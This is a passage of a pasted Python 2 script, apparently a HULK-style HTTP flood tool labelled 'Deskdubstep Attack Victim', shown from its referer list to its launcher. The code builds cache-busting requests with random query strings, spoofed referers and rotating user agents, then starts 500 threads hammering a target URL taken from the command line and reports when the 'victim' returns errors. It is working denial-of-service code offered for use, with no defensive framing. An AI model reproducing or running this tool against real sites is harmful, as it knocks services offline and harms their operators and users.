  293. headers_referers.append('http://ytmnd.com/search?q=')
  294. headers_referers.append('http://www.google.com/?q=')
  295. headers_referers.append('http://www.google.com/?q=')
  296. headers_referers.append('http://www.google.com/?q=')
  297. headers_referers.append('http://www.usatoday.com/search/results?q=')
  298. headers_referers.append('http://engadget.search.aol.com/search?q=')
  299. headers_referers.append('https://steamcommunity.com/market/search?q=')
  300. headers_referers.append('http://filehippo.com/search?q=')
  301. headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  302. headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  303. headers_referers.append('http://engadget.search.aol.com/search?q=')
  304. headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  305. headers_referers.append('http://techtv.mit.edu/search?q=')
  306. headers_referers.append('http://www.ustream.tv/search?q=')
  307. headers_referers.append('http://www.ted.com/search?q=')
  308. headers_referers.append('http://funnymama.com/search?q=')
  309. headers_referers.append('http://itch.io/search?q=')
  310. headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  311. headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  312. headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  313. headers_referers.append('https://play.google.com/store/search?q=')
  314. headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  315. headers_referers.append('http://www.reddit.com/search?q=')
  316. headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  317. headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  318. headers_referers.append('http://jobs.leidos.com/search?q=')
  319. headers_referers.append('http://jobs.bloomberg.com/search?q=')
  320. headers_referers.append('https://www.pinterest.com/search/?q=')
  321. headers_referers.append('http://millercenter.org/search?q=')
  322. headers_referers.append('https://www.npmjs.com/search?q=')
  323. headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  324. headers_referers.append('http://www.shodanhq.com/search?q=')
  325. headers_referers.append('http://ytmnd.com/search?q=')
  326. headers_referers.append('http://coccoc.com/search#query=')
  327. headers_referers.append('http://www.search.com/search?q=')
  328. headers_referers.append('http://' + host + '/')
  329. return(headers_referers)
  330. #builds random ascii string
  331. def buildblock(size):
  332. out_str = ''
  333. for i in range(0, size):
  334. a = random.randint(65, 90)
  335. out_str += chr(a)
  336. return(out_str)
  337.  
  338. def usage():
  339.  
  340. print 'Chuong Trinh Dang Khoi Dong '
  341.  
  342.  
  343.  
  344.  
  345. #http request
  346. def httpcall(url):
  347. useragent_list()
  348. referer_list()
  349. code=0
  350. if url.count("?")>0:
  351. param_joiner="&"
  352. else:
  353. param_joiner="?"
  354. request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10000)) + '=' + buildblock(random.randint(3,1000)))
  355. request.add_header('User-Agent', random.choice(headers_useragents))
  356. request.add_header('Cache-Control', 'no-cache')
  357. request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  358. request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,1000)))
  359. request.add_header('Keep-Alive', random.randint(110,12000))
  360. request.add_header('Connection', 'keep-alive')
  361. request.add_header('Host',host)
  362. try:
  363. urllib2.urlopen(request)
  364. except urllib2.HTTPError, e:
  365. #print e.code
  366. set_flag(1)
  367. print 'Attack Victim 500'
  368. code=500
  369. except urllib2.URLError, e:
  370. #print e.reason
  371. sys.exit()
  372. else:
  373. inc_counter()
  374. urllib2.urlopen(request)
  375. return(code)
  376.  
  377.  
  378. #http caller thread
  379. class HTTPThread(threading.Thread):
  380. def run(self):
  381. try:
  382. while flag<2:
  383. code=httpcall(url)
  384. if (code==500) & (safe==1):
  385. set_flag(2)
  386. except Exception, ex:
  387. pass
  388.  
  389. # monitors http threads and counts requests
  390. class MonitorThread(threading.Thread):
  391. def run(self):
  392. previous=request_counter
  393. while flag==0:
  394. if (previous+100<request_counter) & (previous<>request_counter):
  395. print "%d Requests Sent" % (request_counter)
  396. previous=request_counter
  397. if flag==2:
  398. print "\n-- Attack Victim --"
  399.  
  400. #execute
  401. if len(sys.argv) < 2:
  402. usage()
  403. sys.exit()
  404. else:
  405. if sys.argv[1]=="help":
  406. usage()
  407. sys.exit()
  408. else:
  409. print "-- Deskdubstep Attack Victim --"
  410. if len(sys.argv)== 3:
  411. if sys.argv[2]=="safe":
  412. set_safe()
  413. url = sys.argv[1]
  414. if url.count("/")==2:
  415. url = url + "/"
  416. m = re.search('http\://([^/]*)/?.*', url)
  417. host = m.group(1)
  418. for i in range(500):
  419. t = HTTPThread()
  420. t.start()
  421. t = MonitorThread()
  422. t.start()
Add Comment
Please, Sign In to add comment